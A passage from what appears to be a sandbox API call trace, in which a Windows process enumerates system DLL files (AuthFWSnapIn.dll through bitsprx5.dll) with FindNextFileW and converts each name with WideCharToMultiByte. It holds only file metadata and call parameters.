lpWideCharStr="AUTHFWSNAPIN.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0140.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWSNAPIN.DLL", cchWideChar=16, lpMultiByteStr=0x226c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWSNAPIN.DLL", lpUsedDefaultChar=0x0) returned 16 [0140.455] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0eeeaef, ftCreationTime.dwHighDateTime=0x1ca0406, ftLastAccessTime.dwLowDateTime=0xcd1a5500, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x3931bcc5, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="AuthFWWizFwk.dll", cAlternateFileName="")) returned 1 [0140.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWWIZFWK.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0140.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWWIZFWK.DLL", cchWideChar=16, lpMultiByteStr=0x226c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWWIZFWK.DLL", lpUsedDefaultChar=0x0) returned 16 [0140.455] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acdeb81, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8acdeb81, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad04ce2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b5800, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="authui.dll", cAlternateFileName="")) returned 1 [0140.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHUI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHUI.DLL", cchWideChar=10, lpMultiByteStr=0x226c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHUI.DLL", lpUsedDefaultChar=0x0) returned 10 [0140.455] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x714738cc, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x714738cc, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80ac71d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x18200, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="authz.dll", cAlternateFileName="")) returned 1 [0140.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHZ.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0140.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHZ.DLL", cchWideChar=9, lpMultiByteStr=0x226c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHZ.DLL", lpUsedDefaultChar=0x0) returned 9 [0140.455] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9bee9c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="autoplay.dll", cAlternateFileName="")) returned 1 [0140.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTOPLAY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTOPLAY.DLL", cchWideChar=12, lpMultiByteStr=0x226c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTOPLAY.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.456] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc3f99b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfdc3f99b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x80b12cc0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1d400, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="AuxiliaryDisplayApi.dll", cAlternateFileName="")) returned 1 [0140.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYAPI.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0140.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYAPI.DLL", cchWideChar=23, lpMultiByteStr=0x226c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUXILIARYDISPLAYAPI.DLL", lpUsedDefaultChar=0x0) returned 23 [0140.456] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a8ae8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb67a8ae8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb67cec49, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa2800, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="AuxiliaryDisplayCpl.dll", cAlternateFileName="")) returned 1 [0140.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYCPL.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0140.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYCPL.DLL", cchWideChar=23, lpMultiByteStr=0x226c288, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUXILIARYDISPLAYCPL.DLL", lpUsedDefaultChar=0x0) returned 23 [0140.456] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8898fb50, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8898fb50, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80c1ce90, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="avicap32.dll", cAlternateFileName="")) returned 1 [0140.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVICAP32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVICAP32.DLL", cchWideChar=12, lpMultiByteStr=0x226c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVICAP32.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.456] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b15f501, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b15f501, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b185661, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16600, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="avifil32.dll", cAlternateFileName="")) returned 1 [0140.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVIFIL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVIFIL32.DLL", cchWideChar=12, lpMultiByteStr=0x226c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVIFIL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.456] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb761c16, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb761c16, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x80d75260, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="avrt.dll", cAlternateFileName="")) returned 1 [0140.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVRT.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0140.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVRT.DLL", cchWideChar=8, lpMultiByteStr=0x226c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVRT.DLL", lpUsedDefaultChar=0x0) returned 8 [0140.456] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849c970b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849c970b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849ef86b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xba400, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="azroles.dll", cAlternateFileName="")) returned 1 [0140.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLES.DLL", cchWideChar=11, lpMultiByteStr=0x226c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZROLES.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.456] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ba1c5fa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ba1c5fa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ba4275a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4cc00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="azroleui.dll", cAlternateFileName="")) returned 1 [0140.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLEUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLEUI.DLL", cchWideChar=12, lpMultiByteStr=0x226c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZROLEUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.456] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849a35ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849a35ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849c970b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="AzSqlExt.dll", cAlternateFileName="")) returned 1 [0140.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZSQLEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZSQLEXT.DLL", cchWideChar=12, lpMultiByteStr=0x226c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZSQLEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.456] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9afe273e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9afe273e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9afe273e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23580, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="basecsp.dll", cAlternateFileName="")) returned 1 [0140.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BASECSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BASECSP.DLL", cchWideChar=11, lpMultiByteStr=0x226c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BASECSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.457] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b8ef69, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86b8ef69, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86bb50c9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4e00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="batmeter.dll", cAlternateFileName="")) returned 1 [0140.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BATMETER.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BATMETER.DLL", cchWideChar=12, lpMultiByteStr=0x226c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BATMETER.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.457] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b43e34, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x40b43e34, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xff749c50, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="bcrypt.dll", cAlternateFileName="")) returned 1 [0140.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPT.DLL", cchWideChar=10, lpMultiByteStr=0x226c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCRYPT.DLL", lpUsedDefaultChar=0x0) returned 10 [0140.457] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46f17635, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x46f17635, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xea1f1abe, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3cf50, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="bcryptprimitives.dll", cAlternateFileName="")) returned 1 [0140.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPTPRIMITIVES.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0140.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPTPRIMITIVES.DLL", cchWideChar=20, lpMultiByteStr=0x226c288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCRYPTPRIMITIVES.DLL", lpUsedDefaultChar=0x0) returned 20 [0140.457] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x943ab875, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x943ab875, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x81bbbef0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="bidispl.dll", cAlternateFileName="")) returned 1 [0140.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIDISPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIDISPL.DLL", cchWideChar=11, lpMultiByteStr=0x226c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIDISPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.457] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6b6860f, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd6b6860f, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x81ced1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x29e00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="BioCredProv.dll", cAlternateFileName="")) returned 1 [0140.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIOCREDPROV.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0140.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIOCREDPROV.DLL", cchWideChar=15, lpMultiByteStr=0x226c288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIOCREDPROV.DLL", lpUsedDefaultChar=0x0) returned 15 [0140.457] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a972bdb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a972bdb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a972bdb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="bitsperf.dll", cAlternateFileName="")) returned 1 [0140.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPERF.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPERF.DLL", cchWideChar=12, lpMultiByteStr=0x226c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPERF.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.457] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc757d6b0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc757d6b0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d5fdb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="bitsprx2.dll", cAlternateFileName="")) returned 1 [0140.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX2.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX2.DLL", cchWideChar=12, lpMultiByteStr=0x226c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX2.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.457] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc74befd5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc74befd5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="bitsprx3.dll", cAlternateFileName="")) returned 1 [0140.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX3.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX3.DLL", cchWideChar=12, lpMultiByteStr=0x226c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX3.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.458] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7afe96b, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc7afe96b, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="bitsprx4.dll", cAlternateFileName="")) returned 1 [0140.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX4.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX4.DLL", cchWideChar=12, lpMultiByteStr=0x226c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX4.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.458] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc89b9128, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc89b9128, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dab8a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="bitsprx5.dll", cAlternateFileName="")) returned 1 [0140.458] 